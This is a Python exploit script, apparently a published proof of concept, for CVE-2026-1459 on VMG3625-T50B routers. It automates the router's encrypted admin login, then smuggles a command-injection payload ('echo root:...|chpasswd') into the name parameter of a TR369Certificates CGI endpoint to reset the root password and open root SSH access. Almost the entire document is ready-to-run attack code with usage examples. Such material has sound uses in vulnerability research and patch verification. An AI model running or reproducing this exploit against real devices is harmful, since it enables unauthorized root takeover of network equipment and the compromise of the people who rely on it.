README.md
Rendering markdown...
#!/usr/bin/env python3
"""
Exploits CVE-2026-1459 to obtain shell access to the router
Requires valid administration credentials, changes root password temporarily, restarting will reset the root password.
Works on VMG3625-T50B and similar, is guaranteed to work on firmware V5.50(ABPM.9.7)C0 or earlier.
"""
import argparse
import base64
import json
import sys
import requests
from Crypto.Cipher import AES
from Crypto.Cipher import PKCS1_v1_5 as PKCS1_v15
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
requests.packages.urllib3.disable_warnings()
def rsa_encrypt_v15(pem: str, data: bytes) -> str:
return base64.b64encode(PKCS1_v15.new(RSA.import_key(pem)).encrypt(data)).decode()
def aes_encrypt(key: bytes, iv16: bytes, plaintext: str) -> str:
cipher = AES.new(key, AES.MODE_CBC, iv16)
ct = cipher.encrypt(pad(plaintext.encode(), AES.block_size))
return base64.b64encode(ct).decode()
def aes_decrypt(key: bytes, iv_b64: str, ct_b64: str) -> dict:
iv = base64.b64decode(iv_b64)[:16]
ct = base64.b64decode(ct_b64)
cipher = AES.new(key, AES.MODE_CBC, iv)
pt = unpad(cipher.decrypt(ct), AES.block_size)
return json.loads(pt.decode())
def login(host: str, username: str, password: str):
base_url = host.rstrip("/")
s = requests.Session()
s.verify = False
try:
s.get(base_url, timeout=5)
except Exception:
print("Host is not up, are you sure you entered correct host?")
return
pem = None
try:
r = s.get(f"{base_url}/getRSAPublickKey", timeout=10)
key_response = r.json() if r.content else {}
if "RSAPublicKey" in key_response:
pem = key_response["RSAPublicKey"]
except Exception as e:
print(f"Failed to obtain RSA public key for login: {e}")
return
base64_password = base64.b64encode(password.encode()).decode()
login_payload = {
"Input_Account": username,
"Input_Passwd": base64_password,
"currLang": "en",
"RememberPassword": 0,
"SHA512_password": False
}
aes_key_bytes = get_random_bytes(32)
aes_iv_bytes = get_random_bytes(32)
aes_key_b64 = base64.b64encode(aes_key_bytes).decode()
aes_iv_b64 = base64.b64encode(aes_iv_bytes).decode()
encryption_key = rsa_encrypt_v15(pem, aes_key_b64.encode())
request_body = {
"content": aes_encrypt(aes_key_bytes, aes_iv_bytes[:16], json.dumps(login_payload)),
"key": encryption_key,
"iv": aes_iv_b64
}
try:
headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
r = s.post(f"{base_url}/UserLogin", data=json.dumps(request_body), headers=headers, timeout=10)
content = r.json() if r.content else {}
response = aes_decrypt(aes_key_bytes, content["iv"], content["content"])
if response['result'] != 'ZCFG_SUCCESS':
print(f"Failed to login, are you sure you entered correct credentials?")
return
session_key = response['sessionkey']
return s, aes_key_bytes, session_key
except Exception as e:
print(f"Failed to login, are you sure you entered correct credentials? {e}")
def exploit(session: requests.Session, base_url: str, session_key: str, root_pass: str):
payload = f"x;echo root:{root_pass}|chpasswd;"
headers = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"CSRFToken": session_key
}
try:
r = session.request("GET", f"{base_url}/cgi-bin/TR369Certificates?action=download&name={requests.utils.quote(payload)}", headers=headers, timeout=10)
if r.status_code == 200:
print("Exploit succeeded, you should now be able to ssh to the router as root with the provided password.")
except Exception as e:
print("Exploit failed.")
if __name__ == "__main__":
ap = argparse.ArgumentParser(
description="CVE-2026-1459 exploit",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
examples:
CVE-2026-1459-shell.py http://10.0.0.138 admin pass new_ssh_password
"""
)
ap.add_argument("host", help="Router base URL (e.g. http://10.0.0.138)")
ap.add_argument("username", help="Account username")
ap.add_argument("password", help="Account Password")
ap.add_argument("new_ssh_password", help="The new root ssh password")
args = ap.parse_args()
result = login(args.host, args.username, args.password)
if result is None:
sys.exit(-1)
session, aes_key, session_key = result
exploit(session, args.host, session_key, args.new_ssh_password)